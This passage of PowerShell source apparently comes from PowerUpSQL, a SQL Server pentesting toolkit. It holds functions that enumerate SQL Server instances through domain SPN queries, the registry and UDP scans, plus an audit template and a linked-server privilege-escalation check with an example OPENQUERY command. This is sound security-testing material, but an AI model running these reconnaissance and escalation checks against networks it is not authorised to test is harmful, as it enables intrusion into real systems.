------------------------------------------- # Function: Get-SQLInstanceDomain # ------------------------------------------- # Author: Scott Sutherland Function Get-SQLInstanceDomain { <# .SYNOPSIS Returns a list of SQL Server instances discovered by querying a domain controller for systems with registered MSSQL service principal names. The function will default to the current user's domain and logon server, but an alternative domain controller can be provided. UDP scanning of management servers is optional. .PARAMETER Username Domain user to authenticate with domain\user. .PARAMETER Password Domain password to authenticate with domain\user. .PARAMETER Credential Credentials to use when connecting to a Domain Controller. .PARAMETER DomainController Domain controller for Domain and Site that you want to query against. Only used when username/password or credential is provided. .PARAMETER ComputerName Domain computer name to filter for. .PARAMETER DomainAccount Domain account to filter for. .PARAMETER CheckMgmt Performs UDP scan of servers with registered MSServerClusterMgmtAPI SPNs to help find additional SQL Server instances. .PARAMETER UDPTimeOut Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate. .EXAMPLE PS C:\> Get-SQLInstanceDomain -Verbose VERBOSE: Grabbing SQL Server SPNs from domain... VERBOSE: Getting domain SPNs... VERBOSE: Parsing SQL Server instances from SPNs... VERBOSE: 35 instances were found. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com DomainAccountSid : 1500000521000123456712921821222049996811922123456 DomainAccount : SQLServer1$ DomainAccountCn : SQLServer1 Service : MSSQLSvc Spn : MSSQLSvc/SQLServer1.domain.com LastLogon : 6/22/2016 9:00 AM [TRUNCATED] .EXAMPLE PS C:\> Get-SQLInstanceDomain -Verbose -CheckMgmt PS C:\> Get-SQLInstanceDomain -Verbose VERBOSE: Grabbing SQL Server SPNs from domain... VERBOSE: Getting domain SPNs... VERBOSE: Parsing SQL Server instances from SPNs... VERBOSE: 35 instances were found. VERBOSE: Getting domain SPNs... VERBOSE: 10 SPNs found on servers that matched search criteria. VERBOSE: Performing a UDP scan of management servers to obtain managed SQL Server instances... VERBOSE: - MServer1.domain.com - UDP Scan Start. VERBOSE: - MServer1.domain.com - UDP Scan Complete. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com DomainAccountSid : 1500000521000123456712921821222049996811922123456 DomainAccount : SQLServer1$ DomainAccountCn : SQLServer1 Service : MSSQLSvc Spn : MSSQLSvc/SQLServer1.domain.com LastLogon : 6/22/2016 9:00 AM [TRUNCATED] .EXAMPLE PS C:\> Get-SQLInstanceDomain -DomainController 10.10.10.1 -Username domain\user -Password SecretPassword123! VERBOSE: Grabbing SQL Server SPNs from domain... VERBOSE: Getting domain SPNs... VERBOSE: Parsing SQL Server instances from SPNs... VERBOSE: 35 instances were found. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com DomainAccountSid : 1500000521000123456712921821222049996811922123456 DomainAccount : SQLServer1$ DomainAccountCn : SQLServer1 Service : MSSQLSvc Spn : MSSQLSvc/SQLServer1.domain.com LastLogon : 6/22/2016 9:00 AM [TRUNCATED] #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Domain user to authenticate with domain\user.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'Domain password to authenticate with domain\user.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] [string]$DomainController, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Computer name to filter for.')] [string]$ComputerName, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Domain account to filter for.')] [string]$DomainAccount, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')] [switch]$CheckMgmt, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')] [int]$UDPTimeOut = 3 ) Begin { # Table for SPN output $TblSQLServerSpns = New-Object -TypeName System.Data.DataTable $null = $TblSQLServerSpns.Columns.Add('ComputerName') $null = $TblSQLServerSpns.Columns.Add('Instance') $null = $TblSQLServerSpns.Columns.Add('DomainAccountSid') $null = $TblSQLServerSpns.Columns.Add('DomainAccount') $null = $TblSQLServerSpns.Columns.Add('DomainAccountCn') $null = $TblSQLServerSpns.Columns.Add('Service') $null = $TblSQLServerSpns.Columns.Add('Spn') $null = $TblSQLServerSpns.Columns.Add('LastLogon') $null = $TblSQLServerSpns.Columns.Add('Description') # Table for UDP scan results of management servers } Process { # Get list of SPNs for SQL Servers Write-Verbose -Message 'Grabbing SPNs from the domain for SQL Servers (MSSQL*)...' $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | Where-Object -FilterScript { $_.service -like 'MSSQL*' } Write-Verbose -Message 'Parsing SQL Server instances from SPNs...' # Add column containing sql server instance $TblSQLServers | ForEach-Object -Process { # Parse SQL Server instance $Spn = $_.Spn $Instance = $Spn.split('/')[1].split(':')[1] # Check if the instance is a number and use the relevent delim $Value = 0 if([int32]::TryParse($Instance,[ref]$Value)) { $SpnServerInstance = $Spn -replace ':', ',' } else { $SpnServerInstance = $Spn -replace ':', '\' } $SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', '' # Add SQL Server spn to table $null = $TblSQLServerSpns.Rows.Add( [string]$_.ComputerName, [string]$SpnServerInstance, $_.UserSid, [string]$_.User, [string]$_.Usercn, [string]$_.Service, [string]$_.Spn, $_.LastLogon, [string]$_.Description) } # Enumerate SQL Server instances from management servers if($CheckMgmt) { Write-Verbose -Message 'Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...' $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose | Where-Object -FilterScript { $_.ComputerName -like '*.*' } | Select-Object -Property ComputerName -Unique | Sort-Object -Property ComputerName Write-Verbose -Message 'Performing a UDP scan of management servers to obtain managed SQL Server instances...' $TblMgmtSQLServers = $TblMgmtServers | Select-Object -Property ComputerName -Unique | Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut } } End { # Return data if($CheckMgmt) { Write-Verbose -Message 'Parsing SQL Server instances from the UDP scan...' $Tbl1 = $TblMgmtSQLServers | Select-Object -Property ComputerName, Instance | Sort-Object -Property ComputerName, Instance $Tbl2 = $TblSQLServerSpns | Select-Object -Property ComputerName, Instance | Sort-Object -Property ComputerName, Instance $Tbl3 = $Tbl1 + $Tbl2 $InstanceCount = $Tbl3.rows.count Write-Verbose -Message "$InstanceCount instances were found." $Tbl3 } else { $InstanceCount = $TblSQLServerSpns.rows.count Write-Verbose -Message "$InstanceCount instances were found." $TblSQLServerSpns } } } # ------------------------------------------- # Function: Get-SQLInstanceLocal # ------------------------------------------- # Author: Scott Sutherland Function Get-SQLInstanceLocal { <# .SYNOPSIS Returns a list of the SQL Server instances found in the Windows registry for the local system. .EXAMPLE PS C:\> Get-SQLInstanceLocal ComputerName : Computer1 Instance : Computer1\SQLEXPRESS ServiceDisplayName : SQL Server (SQLEXPRESS) ServiceName : MSSQL$SQLEXPRESS ServicePath : "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" -sSQLEXPRESS ServiceAccount : NT Service\MSSQL$SQLEXPRESS State : Running ComputerName : Computer1 Instance : Computer1\STANDARDDEV2014 ServiceDisplayName : SQL Server (STANDARDDEV2014) ServiceName : MSSQL$STANDARDDEV2014 ServicePath : "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\Binn\sqlservr.exe" -sSTANDARDDEV2014 ServiceAccount : LocalSystem State : Running ComputerName : Computer1 Instance : Computer1 ServiceDisplayName : SQL Server (MSSQLSERVER) ServiceName : MSSQLSERVER ServicePath : "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER ServiceAccount : NT Service\MSSQLSERVER State : Running #> Begin { # Table for output $TblLocalInstances = New-Object -TypeName System.Data.DataTable $null = $TblLocalInstances.Columns.Add('ComputerName') $null = $TblLocalInstances.Columns.Add('Instance') $null = $TblLocalInstances.Columns.Add('ServiceDisplayName') $null = $TblLocalInstances.Columns.Add('ServiceName') $null = $TblLocalInstances.Columns.Add('ServicePath') $null = $TblLocalInstances.Columns.Add('ServiceAccount') $null = $TblLocalInstances.Columns.Add('State') } Process { # Grab SQL Server services for the server $SqlServices = Get-SQLServiceLocal | Where-Object -FilterScript { $_.ServicePath -like '*sqlservr.exe*' } # Add recrds to SQL Server instance table $SqlServices | ForEach-Object -Process { # Parse Instance $ComputerName = [string]$_.ComputerName $DisplayName = [string]$_.ServiceDisplayName if($DisplayName) { $Instance = $ComputerName + '\' +$DisplayName.split('(')[1].split(')')[0] if($Instance -like '*\MSSQLSERVER') { $Instance = $ComputerName } } else { $Instance = $ComputerName } # Add record $null = $TblLocalInstances.Rows.Add( [string]$_.ComputerName, [string]$Instance, [string]$_.ServiceDisplayName, [string]$_.ServiceName, [string]$_.ServicePath, [string]$_.ServiceAccount, [string]$_.ServiceState) } } End { # Status User $LocalInstanceCount = $TblLocalInstances.rows.count Write-Verbose -Message "$LocalInstanceCount local instances where found." # Return data $TblLocalInstances } } # ---------------------------------- # Get-SQLInstanceScanUDP # ---------------------------------- # Author: Eric Gruber # Note: Pipeline and timeout mods by Scott Sutherland function Get-SQLInstanceScanUDP { <# .SYNOPSIS Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers. .PARAMETER ComputerName Computer name or IP address to enumerate SQL Instance from. .PARAMETER UDPTimeOut Timeout in seconds. Longer timeout = more accurate. .EXAMPLE PS C:\> Get-SQLInstanceScanUDP -Verbose -ComputerName SQLServer1.domain.com VERBOSE: - SQLServer1.domain.com - UDP Scan Start. VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Express InstanceName : Express ServerIP : 10.10.10.30 TCPPort : 51663 BaseVersion : 11.0.2100.60 IsClustered : No ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Standard InstanceName : Standard ServerIP : 10.10.10.30 TCPPort : 51861 BaseVersion : 11.0.2100.60 IsClustered : No .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose VERBOSE: - SQLServer1.domain.com - UDP Scan Start. VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Express InstanceName : Express ServerIP : 10.10.10.30 TCPPort : 51663 BaseVersion : 11.0.2100.60 IsClustered : No ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Standard InstanceName : Standard ServerIP : 10.10.10.30 TCPPort : 51861 BaseVersion : 11.0.2100.60 IsClustered : No [TRUNCATED] #> [CmdletBinding()] param( [Parameter(Mandatory = $true, ValueFromPipeline, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')] [string]$ComputerName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')] [int]$UDPTimeOut = 2, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for results $TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table' $null = $TableResults.columns.add('ComputerName') $null = $TableResults.columns.add('Instance') $null = $TableResults.columns.add('InstanceName') $null = $TableResults.columns.add('ServerIP') $null = $TableResults.columns.add('TCPPort') $null = $TableResults.columns.add('BaseVersion') $null = $TableResults.columns.add('IsClustered') } Process { if(-not $SuppressVerbose) { Write-Verbose -Message " - $ComputerName - UDP Scan Start." } # Verify server name isn't empty if ($ComputerName -ne '') { # Try to enumerate SQL Server instances from remote system try { # Resolve IP $IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName) # Create UDP client object $UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient # Attempt to connect to system $UDPTimeOutMilsec = $UDPTimeOut * 1000 $UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec $UDPClient.Connect($ComputerName,0x59a) $UDPPacket = 0x03 # Send request to system $UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0) $UDPClient.Client.Blocking = $true [void]$UDPClient.Send($UDPPacket,$UDPPacket.Length) # Process response from system $BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint) $Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';') $values = @{} for($i = 0; $i -le $Response.length; $i++) { if(![string]::IsNullOrEmpty($Response[$i])) { $values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1]) } else { if(![string]::IsNullOrEmpty($values.'tcp')) { if(-not $SuppressVerbose) { $DiscoveredInstance = "$ComputerName\"+$values.'instancename' Write-Verbose -Message "$ComputerName - Found: $DiscoveredInstance" } # Add SQL Server instance info to results table $null = $TableResults.rows.Add( [string]$ComputerName, [string]"$ComputerName\"+$values.'instancename', [string]$values.'instancename', [string]$IPAddress, [string]$values.'tcp', [string]$values.'version', [string]$values.'isclustered') $values = @{} } } } # Close connection $UDPClient.Close() } catch { #"Error was $_" #$line = $_.InvocationInfo.ScriptLineNumber #"Error was in Line $line" # Close connection # $UDPClient.Close() } } if(-not $SuppressVerbose) { Write-Verbose -Message " - $ComputerName - UDP Scan Complete." } } End { # Return Results $TableResults } } # ---------------------------------- # Get-SQLInstanceScanUDPThreaded # ---------------------------------- # Author: Eric Gruber # Note: Pipeline and timeout mods by Scott Sutherland function Get-SQLInstanceScanUDPThreaded { <# .SYNOPSIS Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers. .PARAMETER ComputerName Computer name or IP address to enumerate SQL Instance from. .PARAMETER UDPTimeOut Timeout in seconds. Longer timeout = more accurate. .PARAMETER Threads Number of concurrent host threads. .EXAMPLE PS C:\> Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1.domain.com VERBOSE: - SQLServer1.domain.com - UDP Scan Start. VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Express InstanceName : Express ServerIP : 10.10.10.30 TCPPort : 51663 BaseVersion : 11.0.2100.60 IsClustered : No ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Standard InstanceName : Standard ServerIP : 10.10.10.30 TCPPort : 51861 BaseVersion : 11.0.2100.60 IsClustered : No .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose -Threads 20 VERBOSE: - SQLServer1.domain.com - UDP Scan Start. VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Express InstanceName : Express ServerIP : 10.10.10.30 TCPPort : 51663 BaseVersion : 11.0.2100.60 IsClustered : No ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Standard InstanceName : Standard ServerIP : 10.10.10.30 TCPPort : 51861 BaseVersion : 11.0.2100.60 IsClustered : No [TRUNCATED] #> [CmdletBinding()] param( [Parameter(Mandatory = $true, ValueFromPipeline, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')] [string]$ComputerName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')] [int]$UDPTimeOut = 2, [Parameter(Mandatory = $false, HelpMessage = 'Number of threads.')] [int]$Threads = 5, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for results $TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table' $null = $TableResults.columns.add('ComputerName') $null = $TableResults.columns.add('Instance') $null = $TableResults.columns.add('InstanceName') $null = $TableResults.columns.add('ServerIP') $null = $TableResults.columns.add('TCPPort') $null = $TableResults.columns.add('BaseVersion') $null = $TableResults.columns.add('IsClustered') $TableResults.Clear() # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # Ensure provide instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } $PipelineItems = $PipelineItems + $ProvideInstance } } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { $ComputerName = $_.ComputerName if(-not $SuppressVerbose) { Write-Verbose -Message " - $ComputerName - UDP Scan Start." } # Verify server name isn't empty if ($ComputerName -ne '') { # Try to enumerate SQL Server instances from remote system try { # Resolve IP $IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName) # Create UDP client object $UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient # Attempt to connect to system $UDPTimeOutMilsec = $UDPTimeOut * 1000 $UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec $UDPClient.Connect($ComputerName,0x59a) $UDPPacket = 0x03 # Send request to system $UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0) $UDPClient.Client.Blocking = $true [void]$UDPClient.Send($UDPPacket,$UDPPacket.Length) # Process response from system $BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint) $Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';') $values = @{} for($i = 0; $i -le $Response.length; $i++) { if(![string]::IsNullOrEmpty($Response[$i])) { $values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1]) } else { if(![string]::IsNullOrEmpty($values.'tcp')) { if(-not $SuppressVerbose) { $DiscoveredInstance = "$ComputerName\"+$values.'instancename' Write-Verbose -Message " - $ComputerName - Found: $DiscoveredInstance" } # Add SQL Server instance info to results table $null = $TableResults.rows.Add( [string]$ComputerName, [string]"$ComputerName\"+$values.'instancename', [string]$values.'instancename', [string]$IPAddress, [string]$values.'tcp', [string]$values.'version', [string]$values.'isclustered') $values = @{} } } } # Close connection $UDPClient.Close() } catch { #"Error was $_" #$line = $_.InvocationInfo.ScriptLineNumber #"Error was in Line $line" # Close connection # $UDPClient.Close() } } if(-not $SuppressVerbose) { Write-Verbose -Message " - $ComputerName - UDP Scan End." } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TableResults } } # ---------------------------------- # Get-SQLInstanceFile # ---------------------------------- # Author: Scott Sutherland Function Get-SQLInstanceFile { <# .SYNOPSIS Returns a list of SQL Server instances from a file. One per line. Three instance formats supported: 1 - computername 2 - computername\instance 3 - computername,1433 .PARAMETER FilePath Path to file containing instances. One per line. .EXAMPLE PS C:\> Get-SQLInstanceFile -Verbose -FilePath c:\temp\servers.txt VERBOSE: Importing instances from file path. VERBOSE: 3 instances where found in c:\temp\servers.txt. ComputerName Instance ------------ -------- Computer1 Computer1\SQLEXPRESS Computer1 Computer1\STANDARDDEV2014 Computer1 Computer1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $true, HelpMessage = 'The file path.')] [string]$FilePath ) Begin { # Table for output $TblFileInstances = New-Object -TypeName System.Data.DataTable $null = $TblFileInstances.Columns.Add('ComputerName') $null = $TblFileInstances.Columns.Add('Instance') } Process { # Test file path if(Test-Path $FilePath) { Write-Verbose -Message 'Importing instances from file path.' } else { Write-Output -InputObject 'File path does not appear to be valid.' break } # Grab lines from file Get-Content -Path $FilePath | ForEach-Object -Process { $Instance = $_ if($Instance.Split(',')[1]) { $ComputerName = $Instance.Split(',')[0] } else { $ComputerName = $Instance.Split('\')[0] } # Add record if($_ -ne '') { $null = $TblFileInstances.Rows.Add($ComputerName,$Instance) } } } End { # Status User $FileInstanceCount = $TblFileInstances.rows.count Write-Verbose -Message "$FileInstanceCount instances where found in $FilePath." # Return data $TblFileInstances } } #endregion ######################################################################### # #region PASSWORD RECOVERY FUNCTIONS # ######################################################################### # #endregion ######################################################################### # #region DATA EXFILTRATION FUNCTIONS # ######################################################################### # #endregion ######################################################################### # #region PERSISTENCE FUNCTIONS # ######################################################################### # #endregion ######################################################################### # #region PRIVILEGE ESCALATION FUNCTIONS # ######################################################################### # --------------------------------------- # Template Function # --------------------------------------- # Author: Scott Sutherland # Note: This is just a template for building other escalation functions. Function Invoke-SQLAuditTemplate { [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: [VULNERABILITY NAME]" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: [VULNERABILITY NAME]." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential $CurrentLogin = $ServerInfo.CurrentLogin $ComputerName = $ServerInfo.ComputerName # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = '' $Description = '' $Remediation = '' $Severity = '' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = "[CurrentCommand] -Instance $Instance -Exploit" $Details = '' $Reference = '' $Author = 'First Last (Twitter), Company Year' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # $IsVulnerable = "No" or $IsVulnerable = "Yes" # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # $IsExploitable = "No" or $IsExploitable = "Yes" # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- # $Exploited = "No" or $Exploited = "Yes" # Add to report example $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: [VULNERABILITY NAME]" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditPrivServerLink # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditPrivServerLink { <# .SYNOPSIS Check if any SQL Server links are configured with remote credentials. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Invoke-SQLAuditPrivServerLink -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : Excessive Privilege - Linked Server Description : One or more linked servers is preconfigured with alternative credentials which could allow a least privilege login to escalate their privileges on a remote server. Remediation : Configure SQL Server links to connect to remote servers using the login's current security context. Severity : Medium IsVulnerable : Yes IsExploitable : No Exploited : No ExploitCmd : Example query: SELECT * FROM OPENQUERY([Server01\SQLEXPRESS],'Select ''Server: '' + @@Servername +'' '' + ''Login: '' + SYSTEM_USER') Details : The SQL Server link Server01\SQLEXPRESS was found configured with the test login. Reference : https://msdn.microsoft.com/en-us/library/ms190479.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditPrivServerLink -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - Server Link" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $CurrentLogin = $ServerInfo.CurrentLogin $ComputerName = $ServerInfo.ComputerName # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Excessive Privilege - Linked Server' $Description = 'One or more linked servers is preconfigured with alternative credentials which could allow a least privilege login to escalate their privileges on a remote server.' $Remediation = "Configure SQL Server links to connect to remote servers using the login's current security context." $Severity = 'Medium' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'There is not exploit available at this time.' if($Username) { #$ExploitCmd = "Invoke-SQLAuditPrivServerLink -Instance $Instance -Username $Username -Password $Password -Exploit" } else { #$ExploitCmd = "Invoke-SQLAuditPrivServerLink -Instance $Instance -Exploit" } $Details = '' $Reference = 'https://msdn.microsoft.com/en-us/library/ms190479.aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Select links configured with static credentials $LinkedServers = Get-SQLServerLink -Verbose -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.LocalLogin -ne 'Uses Self Credentials' } # Update vulnerable status if($LinkedServers) { $IsVulnerable = 'Yes' $LinkedServers | ForEach-Object -Process { $Details = $LinkName = $LinkedServers.DatabaseLinkName $LinkUser = $LinkedServers.RemoteLoginName $LinkAccess = $LinkedServers.is_data_access_enabled $ExploitCmd = "Example query: SELECT * FROM OPENQUERY([$LinkName],'Select ''Server: '' + @@Servername +'' '' + ''Login: '' + SYSTEM_USER')" if($LinkUser -and $LinkAccess -eq 'True') { Write-Verbose -Message "$Instance : - The $LinkName linked server was found configured with the $LinkUser login." $Details = "The SQL Server link $LinkName was found configured with the $LinkUser login." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } } else { Write-Verbose -Message "$Instance : - No exploitable SQL Server links were found." } # ----------------------------------------------------------------- 